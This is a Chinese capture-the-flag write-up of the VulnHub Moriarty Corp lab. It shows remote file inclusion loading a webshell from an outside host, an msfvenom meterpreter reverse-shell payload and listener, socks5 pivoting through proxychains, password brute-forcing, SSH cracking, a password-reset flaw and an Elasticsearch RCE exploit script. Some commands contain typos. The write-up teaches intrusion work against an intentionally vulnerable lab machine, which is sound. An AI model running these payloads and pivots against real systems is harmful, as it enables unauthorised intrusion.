本文作者:a-running-snail(贝塔安全实验室)
Moriarty Corp靶场环境包含一台外网服务器和三台内网主机,攻击者需先对外网服务器进行web攻击,依据提交flag后的提示信息,逐步获取内网主机权限。本次靶场环境包含以下10个关键部分:
靶场环境 | 暴力破解 |
---|---|
主机发现 | 文件上传 |
文件包含 | SSH弱口令 |
payload反弹 | 任意密码修改 |
添加代理 | 远程代码执行 |
内网探测 | 个人总结 |
- 靶场环境
- 暴力破解
- 主机发现
- 文件上传
- 文件包含
- SSH弱口令
- payload反弹
- 任意密码修改
- 添加代理
- 远程代码执行
- 内网探测
- 个人总结
1. 靶场环境
本次所使用的攻击机为kalilinux系统,攻击过程中涉及到的工具主要有:公网主机VPS,中国菜刀/中国蚂剑,burpsuite,msf,MobaXterm,一句话木马,proxychains,nmap,searchsploit,exp脚本等。攻击的拓扑结构如下图所示。
注意: 外网服务器(8000端口)为提交flag以及攻击提示处,并不存在漏洞,请不要进行攻击行为。Flag的存储格式为#_flag.txt,通常存储在服务器的不同目录下面。每次提交flag后都会给相关提示和说明。开始渗透之前须向外网服务器(8000端口)提交flag{start},表示攻击开始正常启动。本次实验的虚拟机采用virtual box.
详细靶场说明请参考:
https://www.vulnhub.com/entry/boredhackerblog-moriarty-corp,456/
靶场下载地址:
Download (Mirror):
https://download.vulnhub.com/boredhackerblog/MoriartyCorp.ova
Download (Torrent):
https://download.vulnhub.com/boredhackerblog/MoriartyCorp.ova.torrent
2. 主机发现
通过arp(地址解析协议)进行局域网内主机发现,arp是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间。
代码语言:javascript复制>>> namp -sn -PR -T 4192.168.124.0/24
-sn:只进行主机发现,不进行端口扫描。
-PR:ARP Ping。
-T:指定扫描过程使用的时序,总有6个级别(0-5),级别越高,扫描速度越快,在网络通讯状况较好的情况下推荐使用T4。
3. 文件包含
通过访问页面http://IP/file=name.html,可猜测为目录遍历或者文件包含漏洞,如下为漏洞验证结果。
文件包含漏洞,通常分为本地文件包含和远程文件包含。本地文件包含,通常需要能够写入webshell的文件进行包含,进而获取shell权限。远程文件包含,可对远程写入webshell的文件进行包含,获取shell权限。如下为远程服务器test.txt文件写入phpinfo();
访问页面对远程主机的test.txt文件进行包含,验证远程文件漏洞真实存在。这样可以在远程服务器写入webshell进行包含,进而获取Moriarty Corp服务器的主机shell权限。
如下所示,通过菜刀直接连接后,可以获取到shell权限。通过查看目录,在根目录查看到1_flag.txt。
木马文件链接地址:http://192.168.124.14/?file=http://xx.xx.xx.xx/snail.txt
将获取到的flag内容进行提交后,Moriarty Corp靶场给出新的提示。如下图所示,提示内网环境中存在重要的网站,里面存在要获取的flag信息,并且告知内网范围在172.17.0.3-254段。由此,开始步入后渗透攻击阶段,由于靶场环境主要以linux系统环境为主,故此处后渗透工具在此处选择metasploit工具为主。
4.Payload反弹
攻击机进行监听设置(注意:监听主机设置需要与生成的payload保持一致):
代码语言:javascript复制>>> useexploit/multi/handler
>>> set payloadslinux/x64/meterpreter_reverse_tcp
>>> set LHOST192.168.124.15 #监听主机ip地址
>>> set PORT 9999 #监听主机端口号
>>>exploit -j
生成反弹需要的payload文件:
代码语言:javascript复制>>> msfvenom -plinux/x64/meterpreter_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf
将生成的文件上传到目标主机,并更改payload可执行权限,并执行。
代码语言:javascript复制>>> chmod 777 shell.elf
>>> ./shell.elf
在攻击端,监听的主机收到目标主机反弹的shell权限,如下图所示:
5. 添加代理
根据提交flag后系统反馈的提示说明,需要我们对内网的web应用网站进行渗透攻击,此时为了能够访问到内网,需要进行添加代理操作。查看当前路由有一个内网段ip地址段位172.17.0.0/24。
执行指令添加路由操作。
代码语言:javascript复制>>>run autoroute -s 172.17.0.0/24
添加socks5代理:
代码语言:javascript复制>>>use auxiliary/server/socks5
>>>run
此处应用proxychains工具,进行内网探测,使用编辑器在文件/etc/proxychains.conf的最后一行加入socks5代理的配置信息。
--- snippet ---[ProxyList]# add proxy here ...# meanwile# defaults set to "tor"socks5 127.0.0.1 1080 |
---|
6. 内网探测
通过执行代理工具proxychains,对Moriarty Corp内网web服务进行探测,可以发现主机ip地址为172.17.0.4。执行指令如下所示:
代码语言:javascript复制>>>Proxychains nmap 172.17.0.0/24 -sV -sT -Pn -T4 -p80
7.暴力破解
此时通过浏览器是不能访问到内网服务器,需要在浏览器配置代理进行访问,配置代理类型选择socks5,本地端口为1080。配置好以后,就能通过代理访问内网web应用了。
通过浏览页面可发现,为一个文件上传页面,但是上传需要输入口令,方可操作成功。此时考虑可通过burpsuite进行拦截后,口令破解。
打开burpsuite后,需要添加代理,这样才能将拦截到的数据正确发送到目标服务器,配置过程如下所示:
对拦截的数据更改口令字段,添加常用字典,此处用的字为:top1000.txt。查看破解成功字段的真实口令为password。
8.文件上传
如下图所示,成功将木马上传至服务器:
常用的菜刀,Cknife等工具并不存在代理功能,此处使用中国蚁剑工具进行连接,配置蚁剑代理如下所示:
成功连接到内网的shell后,访问目标系统不同目录,获取第二个flag文件:2_flag.txt
9. SSH弱口令
将获取到的flag内容进行提交后,Moriarty Corp靶场给出新的提示。如下图所示,给出几个用户名和密码hash值。对内网中的ssh服务进行弱口令猜解。
通过第三方网站,对给出的hash值进行破解,如下所示为破解的hash结果:
对内网的22端口进行探测,发现主机172.17.0.8开放22端口,并对该内网主机进行ssh弱口令猜解。
代码语言:javascript复制>>>proxychains nmap -sV -t -Pn -p22 127.17.0.0/24
通过第三方工具MobaXterm添加代理后,远程连接到内网主机,具体操作过程如下所示:
猜解成功后,获得当前内网主机的基本权限,访问目录后的3_flag.txt。查看并进行提交。
10. 任意用户密码修改
将获取到的flag内容进行提交后,Moriarty Corp靶场给出新的提示。如下图所示,提示说存在一个聊天网站,管理员的聊天记录可能存在有价值的信息。并给出服务器开放端口可能在443,8000,8080,8888。
对内网的443,8000,8080,8888端口进行探测,发现主机172.17.0.9开放8000端口,并对该内网主机web应用进行访问。
代码语言:javascript复制>>>proxychains nmap -sV -t -Pn -p443,8000,8080,8888 127.17.0.0/24
根据提示给出的用户名和口令进行登陆,查看网站具有两个功能,可以查看chats聊天记录,可以更改用户名密码。尝试抓包,通过更改用户名为管理员,设置口令。此时如果存在任意用户名口令更改漏洞,此时就可以把管理员登陆密码从新设置。
更改后,便可以以管理员身份进行登陆了。通过访问chats可以查看到另外一个flag信息。
将获取到的flag内容进行提交后,Moriarty Corp靶场给出新的提示。如下图所示,文中提到一个web应用Elasticsearch。尝试百度查询了一下,该服务默认运行在9200端口,并存在框架漏洞。
11. 远程代码执行
对内网的9200端口进行探测,发现主机172.17.0.10开放9200端口,并对该内网主机web应用进行访问。
代码语言:javascript复制>>> proxychains nmap -sV -sT -Pn -p9200 127.17.0.0/24
依据kali自带功能searchsploit功能进行版本漏洞搜索:
代码语言:javascript复制>>>searchsploit elasticsearch
使用36337.py脚本执行远程代码执行攻击,获取shell权限
通过查看目标主机目录,获取flag信息6_flag.txt。
12.个人总结
Moriarty Corp靶场涉及到了web攻击到内网漫游的基本环节,在每一个相关环节作者都给予了提示,漏洞利用方式较为简单。提交完漏洞结束后,就像服务器提示所说被拉入黑名单了,再次访问发现已被拉黑。